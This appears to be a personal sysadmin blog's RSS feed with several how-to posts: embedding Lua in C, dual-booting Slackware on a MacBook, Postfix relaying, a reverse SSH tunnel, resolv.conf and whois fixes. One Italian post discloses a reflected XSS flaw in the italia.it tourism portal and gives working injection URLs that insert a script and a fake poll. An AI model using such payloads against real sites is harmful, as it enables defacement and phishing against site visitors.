<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>vacmf &#187; shima</title>
	<atom:link href="http://vacmf.org/author/admin/feed/" rel="self" type="application/rss+xml" />
	<link>http://vacmf.org</link>
	<description>there&#039;s more than one way to do it</description>
	<lastBuildDate>Sun, 17 Jul 2011 07:22:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Embedding Lua script into a C program</title>
		<link>http://vacmf.org/2010/12/05/embedding-lua-script-into-a-c-program/</link>
		<comments>http://vacmf.org/2010/12/05/embedding-lua-script-into-a-c-program/#comments</comments>
		<pubDate>Sun, 05 Dec 2010 10:37:22 +0000</pubDate>
		<dc:creator>shima</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Logbook]]></category>
		<category><![CDATA[Lua]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[embedded language]]></category>
		<category><![CDATA[os x]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://vacmf.org/?p=132</guid>
		<description><![CDATA[Just for curiosity I wanted to try embedding a Lua script into a little C program and surprisingly it resulted in a pretty quick and easy task. Lua provides C API and everything is done within a few lines of code. Let&#8217;s assume that our Lua script just prints &#8220;hello world&#8221; once it is executed&#8230;]]></description>
			<content:encoded><![CDATA[<p>Just for curiosity I wanted to try embedding a Lua script into a little C program and surprisingly it resulted in a pretty quick and easy task.</p>
<p>Lua provides C API and everything is done within a few lines of code.</p>
<p>Let&#8217;s assume that our Lua script just prints &#8220;hello world&#8221; once it is executed and contains also a function to be called later.</p>
<p><em>Save a file as &#8220;hello.lua&#8221; and fill in with:</em></p>
<pre>print("Hello world!");

function foo()
 print("Hi I am the foo function!");
end
</pre>
<p><em>Then create the C program that will run Lua ans save it as &#8220;embed_hello.c&#8221; with the following content:</em></p>
<pre>#include &lt;stdio.h&gt;
#include "lua.h"
#include "lualib.h"
#include "lauxlib.h"

/* lua interpreter */
lua_State* l;

int main () {
  int dofile;

  /* initialize lua */
  l = lua_open();

  /* load lua libraries */
  luaL_openlibs(l);

  /* run the hello.lua script */
  dofile = luaL_dofile(l, "hello.lua");

  if (dofile == 0) {
    /* call foo */
    lua_getglobal(l,"foo");
    lua_call(l,0,0);
  }
  else {
    printf("Error, unable to run hello.lua\n");
  }

  /* cleanup Lua */
  lua_close(l);

  return 0;
}
</pre>
<p><em>Compile:</em></p>
<pre>$ gcc -o embed_hello -Wall -L/opt/local/lib -I/opt/local/include \
-llua embed_hello.c</pre>
<p>That&#8217;s all. This example works for OS X and Lua installed from macports. For other OSs and configurations just adapt the gcc command.</p>
<p><em>Execute it</em></p>
<pre>$ ./embed_hello
Hello world!
Hi I am the foo function!
</pre>
<p><em><br />
</em></p>
<h3>References<strong>:</strong></h3>
<ul>
<li><a href="http://www.lua.org/manual/5.1/manual.html#3" target="_blank"><em>Lua 5.1 Reference Manual: The Application Program Interface</em></a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://vacmf.org/2010/12/05/embedding-lua-script-into-a-c-program/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Macbook 13&#8243; and Slackware 13 dual boot</title>
		<link>http://vacmf.org/2009/09/12/macbook-13-and-slackware-13-dual-boot/</link>
		<comments>http://vacmf.org/2009/09/12/macbook-13-and-slackware-13-dual-boot/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 15:50:59 +0000</pubDate>
		<dc:creator>shima</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[dual boot]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[macbook]]></category>
		<category><![CDATA[os x]]></category>
		<category><![CDATA[slackware]]></category>

		<guid isPermaLink="false">http://vacmf.org/?p=72</guid>
		<description><![CDATA[Important: the procedure can destroy all your system&#8217;s data if you don&#8217;t pay attention. First of all create a full backup. Time machine could be a good choice. There are plenty of HOW-TOs to help in making a Macbook dual bootable with pictures and screenshot how to use disk utility and bootcamp so please refer&#8230;]]></description>
			<content:encoded><![CDATA[<p><strong>Important: the procedure can destroy all your system&#8217;s data if you don&#8217;t pay attention. First of all create a full backup. Time machine could be a good choice.</strong></p>
<p>There are plenty of HOW-TOs to help in making a Macbook dual bootable with pictures and screenshot how to use disk utility and bootcamp so please refer to those documents, I&#8217;ll give a short overview and focus the attention on the installation process.<br />
This covers the Slackware 13 but it&#8217;s applicable to any other  distro I guess.</p>
<h2>Initial condition:</h2>
<ul>
<li> Macbook white, 2007 series with standard Leopard installation and some free space on the disk;</li>
<li>Slackware 13 installation disks (are sufficient the first and second CD or the DVD).</li>
</ul>
<h2>Reserve space for Slackware</h2>
<p>The first step is to create a bootcamp partition. The process is quite simple and straightforward with the above mentioned bootcamp.</p>
<h2>GNU/Linux Slackware installation</h2>
<p>It&#8217;s time to play. Insert the first Slack CD and boot the Mac holding the &#8220;Command&#8221; key (left Alt) to start from the CD and begin a normal installation.</p>
<h2>Partitioning disk</h2>
<p>Use fdisk or cfdisk to partition the disk (I&#8217;m an fdisk&#8217;s fan since old time)</p>
<blockquote><p># fdisk /dev/sda</p></blockquote>
<p>The &#8220;b&#8221; type labeled W95 FAT32 partition should be shown. It&#8217;s bootcamp.</p>
<p>Delete it and create the &#8220;Swap partition&#8221; and the &#8220;Linux root&#8221; partition (simplest way), save, and start the normal setup.</p>
<p><strong>Be careful with the disk partitioning tool to not delete OS X!</strong></p>
<p>After the packages are installed, it&#8217;s time to set a minimum configuration.</p>
<p>Follow some settings that worked for me:</p>
<p>Console framebuffer: 1024&#215;768 256 colors</p>
<p>Lilo installed in the MBR</p>
<p>Slackware logo: yes, of course!</p>
<h2>Reboot</h2>
<p>After the reboot I was surprised by the impossibility to hold down &#8220;Command&#8221; and choose the OS I&#8217;d like to boot.</p>
<p>Now it&#8217;s time to install <a title="rEFIt - An EFI Boot Menu and Toolkit" href="http://refit.sourceforge.net" target="_blank">rEFIt</a></p>
<p>Reboot again and&#8230; surprise surprise, you don&#8217;t se rEFIt menu&#8217;. Shutdown the Mac and boot again.</p>
<p>Now rEFIt boot menu&#8217; should show up, choose Linux and hopefully it boots. My way was a bit harder and got the message: &#8220;no bootable disk&#8221;.</p>
<p>After some additional shutdown and boot up, it started working.</p>
<h2>Running Slackware 13 on Macbook</h2>
<p>Ethernet and WiFi cards seem to work perfectly just after the first boot.</p>
<p>The keyboard has few problem:</p>
<ul>
<li>Function keys need to press fn;</li>
<li>Scrolling up and down is possible with the combination of fn + shift + up/down arrow</li>
</ul>
<p>Other devices to be checked:<br />
- graphic card<br />
- cd/dvd<br />
- iSight cam<br />
- soundcard<br />
- mouse pad</p>
<p>The rest works quite fine.</p>
]]></content:encoded>
			<wfw:commentRss>http://vacmf.org/2009/09/12/macbook-13-and-slackware-13-dual-boot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Postfix with relayhost and SASL client</title>
		<link>http://vacmf.org/2007/06/11/postfix-with-relayhost-and-sasl-client/</link>
		<comments>http://vacmf.org/2007/06/11/postfix-with-relayhost-and-sasl-client/#comments</comments>
		<pubDate>Mon, 11 Jun 2007 09:07:25 +0000</pubDate>
		<dc:creator>shima</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Systems]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[MTA]]></category>
		<category><![CDATA[postfix]]></category>
		<category><![CDATA[relayhost]]></category>
		<category><![CDATA[SASL]]></category>
		<category><![CDATA[system administation]]></category>

		<guid isPermaLink="false">http://vacmf.org/2007/06/11/postfix-with-relayhost-and-sasl-client/</guid>
		<description><![CDATA[I wrote a simple document to help in configuring Postfix mail server with a relay host that require SASL authentication. It&#8217;s a common situation when you have an MTA at home or at your office with a dynamic IP adrress. You can find it im my wiki with the Postfix with relayhost and SASL client]]></description>
			<content:encoded><![CDATA[<p>I wrote a simple document to help in configuring Postfix mail server with a relay host that require SASL authentication.</p>
<p>It&#8217;s a common situation when you have an MTA at home or at your office with a dynamic IP adrress.</p>
<p>You can find it im my <a href="http://riccucci.com/wiki/doku.php" title="Lorenzo Riccucci's wiki" target="_blank">wiki</a> with the  <a href="http://riccucci.com/wiki/doku.php/postfix_relayhost_sasl_client" title="Postfix with relayhost and SASL" target="_blank">Postfix with relayhost and SASL client</a></p>
]]></content:encoded>
			<wfw:commentRss>http://vacmf.org/2007/06/11/postfix-with-relayhost-and-sasl-client/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>italia.it XSS</title>
		<link>http://vacmf.org/2007/02/26/italiait-xss/</link>
		<comments>http://vacmf.org/2007/02/26/italiait-xss/#comments</comments>
		<pubDate>Mon, 26 Feb 2007 09:45:56 +0000</pubDate>
		<dc:creator>shima</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[web application]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://vacmf.org/2007/02/26/italiait-xss/</guid>
		<description><![CDATA[Il nuovo portale italiano sul turismo italia.it fa un po&#8217; acqua da tutte le parti inquanto a sicurezza. Chi vuole un esempio, provi a sostituire il valore del parametro &#8220;scope&#8221; passato sulla URI del sito con: "&#62;&#60;script&#62;alert('YaBaDaBaDoOoO');&#60;/script&#62; &#60;"input type="hidden" value=" cosi facendo si inserisce lo script nella: &#60;input type=... http://www.italia.it/it/scout/text/5,it,SCH1,2005/objectId, RGN8it,modulId,scout,s,0,season,at1,selectedEntry, home/result.html?rgnCMP=RGN8it&#038;scope="&#62; &#60;script&#62;alert('YaBaDaBaDoOoO');&#60; /script&#62;&#60;input type="hidden"&#8230;]]></description>
			<content:encoded><![CDATA[<p>Il nuovo portale italiano sul turismo italia.it fa un po&#8217; acqua da tutte le parti inquanto a sicurezza.<br />
Chi vuole un esempio, provi a sostituire il valore del parametro &#8220;scope&#8221; passato sulla URI del sito con:</p>
<pre>"&gt;&lt;script&gt;alert('YaBaDaBaDoOoO');&lt;/script&gt;
&lt;"input type="hidden" value="</pre>
<p>cosi facendo si inserisce lo script nella:</p>
<pre>&lt;input type=...</pre>
<pre>http://www.italia.it/it/scout/text/5,it,SCH1,2005/objectId,
RGN8it,modulId,scout,s,0,season,at1,selectedEntry,
home/result.html?rgnCMP=RGN8it&#038;scope="&gt;
&lt;script&gt;alert('YaBaDaBaDoOoO');&lt;
/script&gt;&lt;input type="hidden"
value="&#038;Submit2.x=12&#038;Submit2.y=10</pre>
<p>Con piu&#8217; fantasia, si puo&#8217; aggiungere un sondaggio :)</p>
<pre>http://www.italia.it/it/scout/text/5,it,SCH1,2005/objectId,
RGN8it,modulId,scout,s,0,season,at1,selectedEntry,
home/result.html?rgnCMP=RGN8it&#038;scope=
"&gt;&lt;script&gt;alert('YaBaDaBaDoOoO');
&lt;/script&gt;&lt;br&gt;&lt;br&gt;Come sono stati spesi i
soldi?&lt;select&gt;&lt;option&gt;Male&lt;option&gt;
Malissimo&lt;/select&gt;&lt;input type="submit"
value="Sei daccordo?" class="button"&gt;
&lt;input type="hidden"
value="&#038;Submit2.x=12&#038;Submit2.y=10</pre>
<p>o meglio: <a target="_blank" title="http://tinyurl.com/2h49x8" href="http://tinyurl.com/2h49x8">http://tinyurl.com/2h49x8</a></p>
<p>In parole povere, possiamo piu&#8217; o meno ridefinire il sito abbastanza a piacere. E questo e&#8217; un grave problema di sicurezza ponendo il sito al centro dell&#8217;attenzione di chi fa del phishing<br />
la sua professione.</p>
]]></content:encoded>
			<wfw:commentRss>http://vacmf.org/2007/02/26/italiait-xss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Reverse SSH tunnelling (exit by the door and come back from the window)</title>
		<link>http://vacmf.org/2006/12/20/reverse-ssh-tunnelling/</link>
		<comments>http://vacmf.org/2006/12/20/reverse-ssh-tunnelling/#comments</comments>
		<pubDate>Wed, 20 Dec 2006 10:50:06 +0000</pubDate>
		<dc:creator>shima</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Systems]]></category>
		<category><![CDATA[reverse tunnel]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[system]]></category>
		<category><![CDATA[tunnel]]></category>

		<guid isPermaLink="false">http://vacmf.org/2006/12/20/reverse-ssh-tunnelling-exit-by-the-door-and-come-back-from-the-window/</guid>
		<description><![CDATA[Draft What to do when you have a server behind a natted internet connection whitout public IP and you want to access it from your home or somewhere? SSH is your best friend. So you can enable a reverse ssh tunnel that allow a connection from above the intranet. server &#8220;S0&#8243; in the intranet &#8212;->&#8230;]]></description>
			<content:encoded><![CDATA[<p><em>Draft</em></p>
<p>What to do when you have a server behind a natted internet connection whitout public IP and you want to access it from your home or somewhere?<br />
SSH is your best friend. So you can enable a reverse ssh tunnel that allow a connection from above the intranet.<br />
server &#8220;S0&#8243; in the intranet &#8212;-> Router (without access) &#8212;-> (OoOo Internet oOoO) <---- router (my CISCO 803) <---- "C1" remote computer (my.example.cxm)<br />
In the server S0 I use ssh to create a tunnel that allow my C1 to connect it.</p>
<p><span style="font-weight: bold">On S0</span><br />
ssh -R 5000:localhost:22 my.example.cxm</p>
<p style="font-weight: bold">On Router CISCO</p>
<p>ip nat inside source static tcp 10.1.1.1 5000 interface Dialer 1 5000</p>
<p><span style="font-weight: bold">On C1</span></p>
<p>simply launch: ssh -p 5000 localhost</p>
<p>and you are connected to your server in the office intranet.<br />
<span style="font-weight: bold"><br />
What appen if the connection goes down?</span></p>
<p>we can assure that the tunnel back up again. So we must consider the idea to insert a cron job which check periodically the tunnel status.</p>
<p>next: example shell script</p>
]]></content:encoded>
			<wfw:commentRss>http://vacmf.org/2006/12/20/reverse-ssh-tunnelling/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to prevent DHCP server to override your resolv.conf script</title>
		<link>http://vacmf.org/2006/12/20/how-to-prevent-dhcp-server-to-override-your-resolvconf-script/</link>
		<comments>http://vacmf.org/2006/12/20/how-to-prevent-dhcp-server-to-override-your-resolvconf-script/#comments</comments>
		<pubDate>Wed, 20 Dec 2006 10:49:50 +0000</pubDate>
		<dc:creator>shima</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Systems]]></category>
		<category><![CDATA[dhcp]]></category>
		<category><![CDATA[dhcp client]]></category>
		<category><![CDATA[resolv.conf]]></category>
		<category><![CDATA[system]]></category>

		<guid isPermaLink="false">http://vacmf.org/2006/12/20/how-to-prevent-dhcp-server-to-override-your-resolvconf-script/</guid>
		<description><![CDATA[Draft The &#8220;problem&#8221; is caused by dhcp server that overwrite our resolv.conf script and we lose this personalization during the IP release session. Not even is a good idea to replace the dns configuration proposed by the dhcp server, if it push that to you, probably there is a reason. But some time you want&#8230;]]></description>
			<content:encoded><![CDATA[<p><em>Draft</em></p>
<p>The &#8220;problem&#8221; is caused by dhcp server that overwrite our resolv.conf script and we lose this personalization during the IP release session. Not even is a good idea to replace the dns configuration proposed by the dhcp server, if it push that to you, probably there is a reason. But some time you want to use your own configuration such as when you use your broadband router and you want your /etc/resolv.conf has been preserved fron updates.</p>
<p>To prevent  this nasty situation we can operate in two ways, determined by which dhcp client you are using: dhcpcd ord dhclient.</p>
<p>In the first case, dhcpcd (as in my Slackware laptop), prevent overriding can be obtained simply add the -R option to the dhcpcd command:</p>
<pre># dhcpcd -R eth0</pre>
<p>In the second case, we must read the man page about dhclient-script which is invoked any time you use dhclient.<br />
In:</p>
<pre>man 8 dhclient-script</pre>
<p>at the HOOKS section we can read:</p>
<blockquote><p>HOOKS</p>
<p>When it starts, the client script first defines a shell function, <strong>make_resolv_conf ,</strong> which is later used to create the <strong>/etc/resolv.conf</strong> file. To override the default behaviour, redefine this function in the enter hook script.</p></blockquote>
<p>This means that we must to create /etc/dhclient-enter-hooks and  redefine the make_resolv_conf function to satisfy our needs.<br />
If we simply wants to prevent resolv.conf updates only, the fastest way is to redefine the function to do nothing:</p>
<pre># cat /etc/dhclient-enter-hooks
make_resolv_conf() {
exit 0
}</pre>
<p>Then save the file and ensure it is executable:</p>
<pre># chmod a+x /etc/dhclient-enter-hooks</pre>
<p>Note that, as explained in the man page, the dhclient-script is not standard so if this configuration doesn&#8217;t work, please read the man page.</p>
<p>Next: How to merge dns addresses pushed by the dhcp server and my own dns.</p>
]]></content:encoded>
			<wfw:commentRss>http://vacmf.org/2006/12/20/how-to-prevent-dhcp-server-to-override-your-resolvconf-script/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>whois and .eu domain name</title>
		<link>http://vacmf.org/2006/06/21/whois-and-eu-domain-name/</link>
		<comments>http://vacmf.org/2006/06/21/whois-and-eu-domain-name/#comments</comments>
		<pubDate>Wed, 21 Jun 2006 10:05:22 +0000</pubDate>
		<dc:creator>shima</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Systems]]></category>
		<category><![CDATA[system administration]]></category>
		<category><![CDATA[whois]]></category>

		<guid isPermaLink="false">http://vacmf.org/2006/06/21/whois-and-eu-domain-name/</guid>
		<description><![CDATA[If you launch the command whois eurid.eu I returned the following message: No whois server is known for this kind of object. So you can simply use: whois -h whois.eu eurid but from `man whois` I read: If the /etc/whois.conf config file exists, it will be consulted to find a server before applying the normal&#8230;]]></description>
			<content:encoded><![CDATA[<p>If you launch the command</p>
<pre>whois eurid.eu</pre>
<p>I returned the following message:</p>
<pre>No whois server is known for this kind of object.</pre>
<p>So you can simply use:</p>
<pre>whois -h whois.eu eurid</pre>
<p>but from `man whois` I read:</p>
<blockquote><p>If the /etc/whois.conf config file exists, it will be consulted to find<br />
a server before applying the normal rules. Each line of the file should<br />
contain  a  regular expression to be matched against the query text and<br />
the whois server to use, separated by white space.</p></blockquote>
<p>So I created the /etc/whois.conf file and filled it with:</p>
<pre>.eu whois.eu</pre>
<p>but it doesn&#8217;t work. From the output of:</p>
<pre>strace /usb/bin/whois  eurid.eu</pre>
<p>we can see that the program doesn&#8217;t search /etc/whois.conf file so the &#8220;problem&#8221; is in the source.<br />
To get whois read his config file you must download the program source from his developer web site</p>
<blockquote><p>http://www.linux.it/~md/software/</p></blockquote>
<p>then you need to extract the files from the archive and modify <strong>config.h </strong>simply to uncomment the line regarding /etc/whois.conf as reported:</p>
<pre>#define CONFIG_FILE "/etc/whois.conf"</pre>
<p>finally you have to recompile the program with make and install it.<br />
Now that whois read his config files you can create it</p>
<pre># echo ".eu whois.eu" > /etc/whois.conf</pre>
<p>and launch the program</p>
<pre>whois  eurid.eu</pre>
<p>Now in the output you have the whois search result.</p>
]]></content:encoded>
			<wfw:commentRss>http://vacmf.org/2006/06/21/whois-and-eu-domain-name/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

